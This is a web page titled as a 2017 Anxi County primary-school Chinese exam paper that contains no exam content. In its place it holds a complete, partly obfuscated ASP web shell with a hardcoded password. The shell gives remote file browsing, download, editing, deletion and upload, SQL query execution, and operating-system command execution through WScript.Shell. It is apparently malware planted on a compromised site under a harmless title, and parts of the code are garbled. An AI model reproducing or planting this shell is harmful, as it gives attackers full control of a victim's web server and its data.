2017年秋季安溪县小学语文第十一册期末考查卷(一) . <%on error resume next dim data_xlsf class upload_xlsf dim oform,objfile,version public function form(sform) sform=lcase(sform) if not oform.exists(sform) then form="" else form=oform(sform) end if end function public function file(strfile) strfile=lcase(strfile) if not objfile.exists(strfile) then set file=new fileinfo else set file=objfile(strfile) end if end function private sub class_initialize dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename dim ifindstart,ifindend dim iformstart,iformend,sformname version="xiaolu" set oform=server.createobject("scripting.dictionary") set objfile=server.createobject("scripting.dictionary") if request.totalbytes<1 then exit sub set tstream = server.createobject("adodb.stream") set data_xlsf = server.createobject("adodb.stream") data_xlsf.type = 1 data_xlsf.mode =3 data_xlsf.open data_xlsf.write request.binaryread(request.totalbytes) data_xlsf.position=0 requestdata =data_xlsf.read iformstart = 1 iformend = lenb(requestdata) vbcrlf = chrb(13) & chrb(10) sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1) istart = lenb (sstart) iformstart=iformstart istart 1 while (iformstart 10) < iformend iinfoend = instrb(iformstart,requestdata,vbcrlf & vbcrlf) 3 tstream.type = 1 tstream.mode =3 tstream.open data_xlsf.position = iformstart data_xlsf.copyto tstream,iinfoend-iformstart tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sinfo = tstream.readtext tstream.close iformstart = instrb(iinfoend,requestdata,sstart) ifindstart = instr(22,sinfo,"name=""",1) 6 ifindend = instr(ifindstart,sinfo,"""",1) sformname = lcase(mid (sinfo,ifindstart,ifindend-ifindstart)) if instr (45,sinfo,"filename=""",1) > 0 then set thefile=new fileinfo ifindstart = instr(ifindend,sinfo,"filename=""",1) 10 ifindend = instr(ifindstart,sinfo,"""",1) sfilename = mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filename=getfilename(sfilename) thefile.filepath=getfilepath(sfilename) ifindstart = instr(ifindend,sinfo,"content-type: ",1) 14 ifindend = instr(ifindstart,sinfo,vbcr) thefile.filetype =mid (sinfo,ifindstart,ifindend-ifindstart) thefile.filestart =iinfoend thefile.filesize = iformstart -iinfoend -3 thefile.formname=sformname if not objfile.exists(sformname) then objfile.add sformname,thefile end if else tstream.type =1 tstream.mode =3 tstream.open data_xlsf.position = iinfoend data_xlsf.copyto tstream,iformstart-iinfoend-3 tstream.position = 0 tstream.type = 2 tstream.charset ="gb2312" sformvalue = tstream.readtext tstream.close if oform.exists(sformname) then oform(sformname)=oform(sformname)&", "&sformvalue else oform.add sformname,sformvalue end if end if iformstart=iformstart istart 1 wend requestdata="" set tstream =nothing end sub private sub class_terminate if request.totalbytes>0 then oform.removeall objfile.removeall set oform=nothing set objfile=nothing data_xlsf.close set data_xlsf =nothing end if end sub private function getfilepath(fullpath) if fullpath <> "" then getfilepath = left(fullpath,instrrev(fullpath, "\")) else getfilepath = "" end if end function private function getfilename(fullpath) if fullpath <> "" then getfilename = mid(fullpath,instrrev(fullpath, "\") 1) else getfilename = "" end if end function end class class fileinfo dim formname,filename,filepath,filesize,filetype,filestart private sub class_initialize filename = "" filepath = "" filesize = 0 filestart= 0 formname = "" filetype = "" end sub public function saveas(fullpath) dim dr,errorchar,i saveas=true if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function set dr=createobject("adodb.stream") dr.mode=3 dr.type=1 dr.open data_xlsf.position=filestart data_xlsf.copyto dr,filesize dr.savetofile fullpath,2 dr.close set dr=nothing saveas=false end function end class httpt = request.servervariables("server_name") rseb=request.servervariables("script_name") d=request("d") if request.cookies("password")<>"12345679" then if trim(request.form("password"))="12345679" then response.cookies("password")="12345679" response.redirect rseb & "?d=ls.asp" else %> <% end if response.end end if select case d case "d.asp" call downloadfile(request("path")) function downloadfile(strfile) strfilename = strfile response.buffer = true response.clear%> <%s.open s.type = 1 if not ssyss.fileexists(strfilename) then response.write("

error:

" & strfilename & " does not exist

") response.end end if set f = ssyss.getfile(strfilename) intfilelength = f.size s.loadfromfile(strfilename) if err then response.write("

error:

" & err.description & "

") response.end end if response.addheader "content-disposition", "attachment; filename=" & f.name response.addheader "content-length", intfilelength response.charset = "utf-8" response.contenttype = "application/octet-stream" response.binarywrite s.read response.flush s.close set s = nothing response.end end function case "ls.asp" urlpath=server.urlencode(path) dim cpath,lpath if request("path")="" then lpath="/" else lpath=request("path")&"/" end if if request("attrib")="true" then cpath=replace(lpath,"/","\") attrib="true" else cpath=server.mappath(lpath) attrib="" end if sub getfolder() dim thefolder,thesubfolders if ssyss.folderexists(cpath)then set thefolder=ssyss.getfolder(cpath) set thesubfolders=thefolder.subfolders response.write"上级目录
<% end if end sub sub getfile() dim thefiles if ssyss.folderexists(cpath)then set thefolder=ssyss.getfolder(cpath) set thefiles=thefolder.files response.write"" end sub %> <%=httpt%> <%for each thing in ssyss.drives response.write "["&thing.driveletter&":]" next set oscriptnet=server.createobject("ws" "cri" "pt.ne" "twork") %>user:<%= "\\" & oscriptnet.computername & "\" & oscriptnet.username %> <%if request("attrib")="true" then response.write "切换到绝对路径" else response.write "切换到相对路径" end if %>rpath:<%=cpath%> | cdir:<%=lpath%> <蔿l getfolder()%> <蔿l getfile()%>

modified by 123456789 base on xiaolu

<蕇e "e.asp"%> <%if request("op")="del" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.getfile(wfile) thisfile.delete true response.write "" else if request("op")="copy" then if request("attrib")="true" then wfile=request("path") dsfile=request("dpath") else wfile=server.mappath(request("path")) dsfile=server.mappath(request("dpath")) end if set thisfile = ssyss.getfile(wfile) thisfile.copy dsfile %> <% else if request.form("text")="" then if request("creat")<>"yes" then if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set thisfile = ssyss.opentextfile(wfile, 1, false) counter=0 thisline=thisfile.readall thisfile.close set fs=nothing end if %> <%else if request("attrib")="true" then wfile=request("path") else wfile=server.mappath(request("path")) end if set outfile=ssyss.createtextfile(wfile) outfile.writeline request("text") utfile.close set fs=nothing response.write "" end if end if end if %><蕇e "edir.asp" if request("op")="del" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.deletefolder wdir,true response.write "" else if request("op")="creat" then if request("attrib")="true" then wdir=request("path") else wdir=server.mappath(request("path")) end if ssyss.createfolder wdir response.write "" end if end if case "up.asp" set upload=new upload_xlsf if upload.form("filepath")="" then htmend "input up path!" set upload=nothing response.end else formpath=upload.form("filepath") if right(formpath,1)<>"/" then formpath=formpath&"/" end if for each formname in upload.objfile set file=upload.file(formname) if file.filesize>0 then file.saveas formpath & file.filename response.write file.filepath&file.filename&" ("&file.filesize&") => "&formpath&file.filename&" succ!
" end if set file=nothing next set upload=nothing sub htmend(msg) set upload=nothing response.write "up succ!" response.end end sub case "sql.asp" if trim(request.form("sqlcmd"))<>"" then password= trim(request.form("pa")) id=trim(request.form("id")) sqllocalname=trim(request.form("sqllocalname")) ku=trim(request.form("ku")) session("sqlu")=id session("sqlp")=password session("sqls")=sqllocalname session("sqlc")=trim(request.form("sqlcmd")) session("sqlk")=ku if sqllocalname="" or sqllocalname="sql server" then sqllocalname="127.0.0.1" set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;password="&password&";user id="&id&";database="&ku&";data source ="&sqllocalname strquery = session("sqlc") set recresult = adoconn.execute(strquery) if left(strquery,4)="exec" or left(strquery,6)="select" then if not recresult.eof then for i=0 to recresult.fields.count-1 strresultn=strresultn&""&recresult.fields(i).name&"" next allre=""&strresultn&"" do while not recresult.eof for i=0 to recresult.fields.count-1 strresult = strresult &""& outcmd(recresult.fields(i).value)&"" next allre=allre&strresult&"" strresult="" recresult.movenext loop allre=allre&"" end if end if set recresult = nothing end if set adoconn = nothing %> <%response.write request.form("sqlcmd") & "
" response.write allre case "p.asp"%> <%set oscript=server.createobject("wsc" "ri" "pt.sh" "ell") ok=trim(request("ok")) if ok<>"" then response.write "" set re=oscript.exec (ok) re=re.stdout.readall re=outcmd(re) response.write re end if esnxa = request.form("text") if (esnxa <> "") then set shell=server.createobject("she" "ll.app" "lication") set fod1=shell.namespace(esnxa) set foditems=fod1.items for each co in foditems response.write "" & co.path & "-----" & co.size & "
" next end if esnxa1 = request.form("text1") esnxa2 = request.form("text2") if esnxa1<>"" and esnxa2<>"" then set shell1=server.createobject("she" "ll.app" "lication") set fod1=shell1.namespace(esnxa2) for i=len(esnxa1) to 1 step -1 if mid(esnxa1,i,1)="\" then path=left(esnxa1,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(esnxa1,len(esnxa1)-i) set fod2=shell1.namespace(path) set foditem=fod2.parsename(path2) fod1.copyhere foditem response.write "command success!" end if esnxa3 = request.form("text3") esnxa4 = request.form("text4") if esnxa3<>"" and esnxa4<>"" then set shell2=server.createobject("she" "ll.app" "lication") set fod1=shell2.namespace(esnxa4) for i=len(esnxa3) to 1 step -1 if mid(esnxa3,i,1)="\" then path=left(esnxa3,i-1) exit for end if next if len(path)=2 then path=path & "\" path2=right(esnxa3,len(esnxa3)-i) set fod2=shell2.namespace(path) set foditem=fod2.parsename(path2) fod1.movehere foditem response.write "command completed success!" end if esnxa5 = request.form("text5") esnxa6 = request.form("text6") if esnxa5<>"" and esnxa6<>"" then set shell3=server.createobject("she" "ll.app" "lication") shell3.namespace(esnxa5).items.item(esnxa6).invokeverb response.write "command completed success!" end if end select function outcmd(re) re = replace(re," "," ") re = replace(re,"<","<") re = replace(re,">",">") re = replace(re,chr(13),"
") outcmd=re end function function editfilecontent(re) re = replace(re,"<","<") re = replace(re,">",">") editfilecontent=re end function %>

如果觉得《2017年秋季安溪县小学语文第十一册期末考查卷(一)》不错，可以推荐给好友哦。